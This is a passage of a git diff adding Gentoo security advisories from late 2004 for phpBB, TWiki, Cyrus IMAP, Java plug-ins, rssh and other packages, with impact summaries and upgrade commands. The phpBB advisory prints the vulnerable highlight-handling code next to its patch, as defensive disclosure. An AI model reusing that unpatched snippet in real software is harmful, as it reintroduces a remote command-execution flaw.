+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pdftohtml users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/pdftohtml-0.36-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200410-20.xml">GLSA 200410-20</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888">CAN-2004-0888</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 Nov 2004 17:05:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Nov 2004 17:05:20 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-31.xml b/xml/htdocs/security/en/glsa/glsa-200411-31.xml
new file mode 100644
index 00000000..c410c894
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-31.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-31">
+  <title>ProZilla: Multiple vulnerabilities</title>
+  <synopsis>
+    ProZilla contains several buffer overflow vulnerabilities that can be
+    exploited by a malicious server to execute arbitrary code with the rights
+    of the user running ProZilla.
+  </synopsis>
+  <product type="ebuild">ProZilla</product>
+  <announced>November 23, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>70090</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/prozilla" auto="yes" arch="*">
+      <vulnerable range="le">1.3.7.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProZilla is a download accelerator for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    ProZilla contains several exploitable buffer overflows in the code
+    handling the network protocols.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could setup a malicious server and entice a user to
+    retrieve files from that server using ProZilla. This could lead to the
+    execution of arbitrary code with the rights of the user running
+    ProZilla.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Currently, there is no released version of ProZilla that contains a fix
+    for these issues. The original author did not respond to our queries,
+    the code contains several other problems and more secure alternatives
+    exist. Therefore, the ProZilla package has been hard-masked prior to
+    complete removal from Portage, and current users are advised to unmerge
+    the package.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1120">CVE-2004-1120</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Nov 2004 17:28:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Nov 2004 19:27:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 22 Nov 2004 19:46:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-32.xml b/xml/htdocs/security/en/glsa/glsa-200411-32.xml
new file mode 100644
index 00000000..993af155
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-32.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-32">
+  <title>phpBB: Remote command execution</title>
+  <synopsis>
+    phpBB contains a vulnerability which allows a remote attacker to execute
+    arbitrary commands with the rights of the web server user.
+  </synopsis>
+  <product type="ebuild">phpBB</product>
+  <announced>November 24, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>71681</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpbb" auto="yes" arch="*">
+      <unaffected range="ge">2.0.11</unaffected>
+      <vulnerable range="lt">2.0.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpBB is an Open Source bulletin board package.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpBB contains a vulnerability in the highlighting code and several
+    vulnerabilities in the username handling code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can exploit the highlighting vulnerability to access the
+    PHP exec() function without restriction, allowing them to run arbitrary
+    commands with the rights of the web server user (for example the apache
+    user). Furthermore, the username handling vulnerability might be abused
+    to execute SQL statements on the phpBB database.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is a one-line patch which will remediate the remote execution
+    vulnerability.
+    </p>
+    <p>
+    Locate the following block of code in viewtopic.php:
+    </p>
+    <code>
+    //
+    // Was a highlight request part of the URI?
+    //
+    $highlight_match = $highlight = '';
+    if (isset($HTTP_GET_VARS['highlight']))
+    {
+       // Split words and phrases
+       $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
+    
+       for($i = 0; $i &lt; sizeof($words); $i++)
+       {</code>
+    <p>
+    Replace with the following:
+    </p>
+    <code>
+    //
+    // Was a highlight request part of the URI?
+    //
+    $highlight_match = $highlight = '';
+    if (isset($HTTP_GET_VARS['highlight']))
+    {
+       // Split words and phrases
+       $words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
+    
+       for($i = 0; $i &lt; sizeof($words); $i++)
+       {</code>
+  </workaround>
+  <resolution>
+    <p>
+    All phpBB users should upgrade to the latest version to fix all known
+    vulnerabilities:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpbb-2.0.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phpbb.com/phpBB/viewtopic.php?t=240513">phpBB.com Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1315">CVE-2004-1315</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 18 Nov 2004 17:31:41 +0000">
+    klieber
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Nov 2004 08:51:46 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-33.xml b/xml/htdocs/security/en/glsa/glsa-200411-33.xml
new file mode 100644
index 00000000..38f1696b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-33.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-33">
+  <title>TWiki: Arbitrary command execution</title>
+  <synopsis>
+    A bug in the TWiki search function allows an attacker to execute arbitrary
+    commands with the permissions of the user running TWiki.
+  </synopsis>
+  <product type="ebuild">www-apps/twiki</product>
+  <announced>November 24, 2004</announced>
+  <revised>September 08, 2006: 02</revised>
+  <bug>71035</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/twiki" auto="yes" arch="*">
+      <unaffected range="ge">20040902 </unaffected>
+      <unaffected range="lt">20000000</unaffected>
+      <vulnerable range="lt">20040902 </vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TWiki is a Web-based groupware tool based around the concept of wiki
+    pages that can be edited by anybody with a Web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    The TWiki search function, which uses a shell command executed via the
+    Perl backtick operator, does not properly escape shell metacharacters
+    in the user-provided search string.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can insert malicious commands into a search request,
+    allowing the execution of arbitrary commands with the privileges of the
+    user running TWiki (usually the Web server user).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/twiki-20040902&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch">TWiki Security Alert</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1037">CAN-2004-1037</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Nov 2004 17:14:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 22 Nov 2004 23:25:58 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Nov 2004 08:52:40 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-34.xml b/xml/htdocs/security/en/glsa/glsa-200411-34.xml
new file mode 100644
index 00000000..dea4f274
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-34.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-34">
+  <title>Cyrus IMAP Server: Multiple remote vulnerabilities</title>
+  <synopsis>
+    The Cyrus IMAP Server contains multiple vulnerabilities which could lead to
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cyrus-imapd</product>
+  <announced>November 25, 2004</announced>
+  <revised>November 25, 2004: 01</revised>
+  <bug>72194</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/cyrus-imapd" auto="yes" arch="*">
+      <unaffected range="ge">2.2.10</unaffected>
+      <vulnerable range="lt">2.2.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Cyrus IMAP Server is an efficient, highly-scalable IMAP e-mail
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in the argument
+    parsers of the 'partial' and 'fetch' commands of the Cyrus IMAP Server
+    (CAN-2004-1012, CAN-2004-1013). There are also buffer overflows in the
+    'imap magic plus' code that are vulnerable to exploitation as well
+    (CAN-2004-1011, CAN-2004-1015).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can exploit these vulnerabilities to execute arbitrary
+    code with the rights of the user running the Cyrus IMAP Server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cyrus-IMAP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/cyrus-imapd-2.2.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1011">CAN-2004-1011</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1012">CAN-2004-1012</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1013">CAN-2004-1013</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1015">CAN-2004-1015</uri>
+    <uri link="http://security.e-matters.de/advisories/152004.html">e-matters Advisory</uri>
+    <uri link="http://asg.web.cmu.edu/cyrus/download/imapd/changes.html">Cyrus IMAP Server ChangeLog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 23 Nov 2004 18:38:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Nov 2004 22:08:00 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Nov 2004 17:22:57 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-35.xml b/xml/htdocs/security/en/glsa/glsa-200411-35.xml
new file mode 100644
index 00000000..00c07bd8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-35.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-35">
+  <title>phpWebSite: HTTP response splitting vulnerability</title>
+  <synopsis>
+    phpWebSite is vulnerable to possible HTTP response splitting attacks.
+  </synopsis>
+  <product type="ebuild">phpwebsite</product>
+  <announced>November 26, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>71502</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwebsite" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3_p4-r2</unaffected>
+      <vulnerable range="lt">0.9.3_p4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpWebSite is a web site content management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to lack of proper input validation, phpWebSite has been found to be
+    vulnerable to HTTP response splitting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A malicious user could inject arbitrary response data, leading to
+    content spoofing, web cache poisoning and other cross-site scripting or
+    HTTP response splitting attacks. This could result in compromising the
+    victim's data or browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpWebSite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwebsite-0.9.3_p4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/380894">BugTraq Posting</uri>
+    <uri link="http://phpwebsite.appstate.edu/index.php?module=announce&amp;ANN_user_op=view&amp;ANN_id=863">phpWebSite Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1516">CVE-2004-1516</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Nov 2004 19:21:49 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 25 Nov 2004 09:49:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 26 Nov 2004 09:12:53 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-36.xml b/xml/htdocs/security/en/glsa/glsa-200411-36.xml
new file mode 100644
index 00000000..1839174a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-36.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-36">
+  <title>phpMyAdmin: Multiple XSS vulnerabilities</title>
+  <synopsis>
+    phpMyAdmin is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>November 27, 2004</announced>
+  <revised>November 27, 2004: 01</revised>
+  <bug>71819</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.0_p3</unaffected>
+      <vulnerable range="lt">2.6.0_p3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cedric Cochin has discovered multiple cross-site scripting
+    vulnerabilities in phpMyAdmin. These vulnerabilities can be exploited
+    through the PmaAbsoluteUri parameter, the zero_rows parameter in
+    read_dump.php, the confirm form, or an error message generated by the
+    internal phpMyAdmin parser.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By sending a specially-crafted request, an attacker can inject and
+    execute malicious script code, potentially compromising the victim's
+    browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.0_p3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1055">CAN-2004-1055</uri>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2004-3">PMASA-2004-3</uri>
+    <uri link="http://www.netvigilance.com/html/advisory0005.htm">netVigilance Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Nov 2004 09:03:21 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 26 Nov 2004 10:27:24 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 26 Nov 2004 19:21:36 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-37.xml b/xml/htdocs/security/en/glsa/glsa-200411-37.xml
new file mode 100644
index 00000000..78eca696
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-37.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-37">
+  <title>Open DC Hub: Remote code execution</title>
+  <synopsis>
+    Open DC Hub contains a buffer overflow that can be exploited to allow
+    remote code execution.
+  </synopsis>
+  <product type="ebuild">opendchub</product>
+  <announced>November 28, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>72371</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/opendchub" auto="yes" arch="*">
+      <unaffected range="ge">0.7.14-r2</unaffected>
+      <vulnerable range="lt">0.7.14-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Open DC Hub is the hub software for the Direct Connect file sharing
+    network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Donato Ferrante discovered a buffer overflow vulnerability in the
+    RedirectAll command of the Open DC Hub.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Upon exploitation, a remote user with administrative privileges can
+    execute arbitrary code on the system running the Open DC Hub.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Only give administrative rights to trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Open DC Hub users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/opendchub-0.7.14-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2004-11/1115.html">Full-Disclosure Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1127">CVE-2004-1127</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 28 Nov 2004 03:48:46 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 28 Nov 2004 03:49:07 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-38.xml b/xml/htdocs/security/en/glsa/glsa-200411-38.xml
new file mode 100644
index 00000000..baeddb85
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-38.xml
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-38">
+  <title>Sun and Blackdown Java: Applet privilege escalation</title>
+  <synopsis>
+    The Java plug-in security in Sun and Blackdown Java environments can be
+    bypassed to access arbitrary packages, allowing untrusted Java applets to
+    perform unrestricted actions on the host system.
+  </synopsis>
+  <product type="ebuild">Java</product>
+  <announced>November 29, 2004</announced>
+  <revised>May 31, 2006: 02</revised>
+  <bug>72172</bug>
+  <bug>72221</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="x86 amd64">
+      <unaffected range="ge">1.4.2.06</unaffected>
+      <vulnerable range="lt">1.4.2.06</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="x86 amd64">
+      <unaffected range="ge">1.4.2.06</unaffected>
+      <vulnerable range="lt">1.4.2.06</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jdk" auto="yes" arch="x86 amd64">
+      <unaffected range="ge">1.4.2.01</unaffected>
+      <vulnerable range="lt">1.4.2.01</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jre" auto="yes" arch="x86 amd64">
+      <unaffected range="ge">1.4.2.01</unaffected>
+      <vulnerable range="lt">1.4.2.01</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sun and Blackdown both provide implementations of Java Development Kits
+    (JDK) and Java Runtime Environments (JRE). All these implementations
+    provide a Java plug-in that can be used to execute Java applets in a
+    restricted environment for web browsers.
+    </p>
+  </background>
+  <description>
+    <p>
+    All Java plug-ins are subject to a vulnerability allowing unrestricted
+    Java package access.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could embed a malicious Java applet in a web page and
+    entice a victim to view it. This applet can then bypass security
+    restrictions and execute any command or access any file with the rights
+    of the user running the web browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround you could disable Java applets on your web browser.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.06&quot;</code>
+    <p>
+    All Sun JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.06&quot;</code>
+    <p>
+    All Blackdown JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jdk-1.4.2.01&quot;</code>
+    <p>
+    All Blackdown JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jre-1.4.2.01&quot;</code>
+    <p>
+    Note: You should unmerge all vulnerable versions to be fully protected.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=158&amp;type=vulnerabilities">iDEFENSE Security Advisory 11.22.04</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1029">CAN-2004-1029</uri>
+    <uri link="http://www.blackdown.org/java-linux/java2-status/security/Blackdown-SA-2004-01.txt">Blackdown Security Advisory 2004-01</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 25 Nov 2004 09:46:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 26 Nov 2004 21:58:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Nov 2004 21:15:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-01.xml b/xml/htdocs/security/en/glsa/glsa-200412-01.xml
new file mode 100644
index 00000000..f5909d83
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-01.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-01">
+  <title>rssh, scponly: Unrestricted command execution</title>
+  <synopsis>
+    rssh and scponly do not filter command-line options that can be exploited
+    to execute any command, thereby allowing a remote user to completely bypass
+    the restricted shell.
+  </synopsis>
+  <product type="ebuild">scponly</product>
+  <announced>December 03, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>72815</bug>
+  <bug>72816</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/scponly" auto="yes" arch="*">
+      <unaffected range="ge">4.0</unaffected>
+      <vulnerable range="lt">4.0</vulnerable>
+    </package>
+    <package name="app-shells/rssh" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3</unaffected>
+      <vulnerable range="le">2.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rssh and scponly are two restricted shells, allowing only a few
+    predefined commands. They are often used as a complement to OpenSSH to
+    provide access to remote users without providing any remote execution
+    privileges.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jason Wies discovered that when receiving an authorized command from an
+    authorized user, rssh and scponly do not filter command-line options
+    that can be used to execute any command on the target host.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a malicious command, it is possible for a remote authenticated
+    user to execute any command (or upload and execute any file) on the
+    target machine with user rights, effectively bypassing any restriction
+    of scponly or rssh.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All scponly users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/scponly-4.0&quot;</code>
+    <p>
+    All rssh users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-shells/rssh/rssh-2.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/383046/2004-11-30/2004-12-06/0">BugTraq Posting</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1161">CVE-2004-1161</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1162">CVE-2004-1162</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  1 Dec 2004 09:03:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  2 Dec 2004 13:01:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  3 Dec 2004 13:57:43 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-02.xml b/xml/htdocs/security/en/glsa/glsa-200412-02.xml
new file mode 100644
index 00000000..bbaec224
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-02">
+  <title>PDFlib: Multiple overflows in the included TIFF library</title>
+  <synopsis>
+    PDFlib is vulnerable to multiple overflows, which can potentially lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">PDFlib</product>
+  <announced>December 05, 2004</announced>
+  <revised>December 05, 2004: 01</revised>
+  <bug>69043</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/pdflib" auto="yes" arch="*">
+      <unaffected range="ge">5.0.4_p1</unaffected>
+      <vulnerable range="lt">5.0.4_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PDFlib is a library providing functions to handle PDF files. It
+    includes a modified TIFF library used to process TIFF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    The TIFF library is subject to several known vulnerabilities (see
+    GLSA 200410-11). Most of these overflows also apply to PDFlib.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or web application to
+    process a carefully crafted PDF file or TIFF image using a
+    PDFlib-powered program. This can potentially lead to the execution of
+    arbitrary code with the rights of the program processing the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PDFlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/pdflib-5.0.4_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pdflib.com/products/pdflib/info/PDFlib-5.0.4p1-changes.txt">PDFlib ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803">CAN-2004-0803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804">CAN-2004-0804</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886">CAN-2004-0886</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200410-11.xml">GLSA 200410-11</uri>
+  </references>
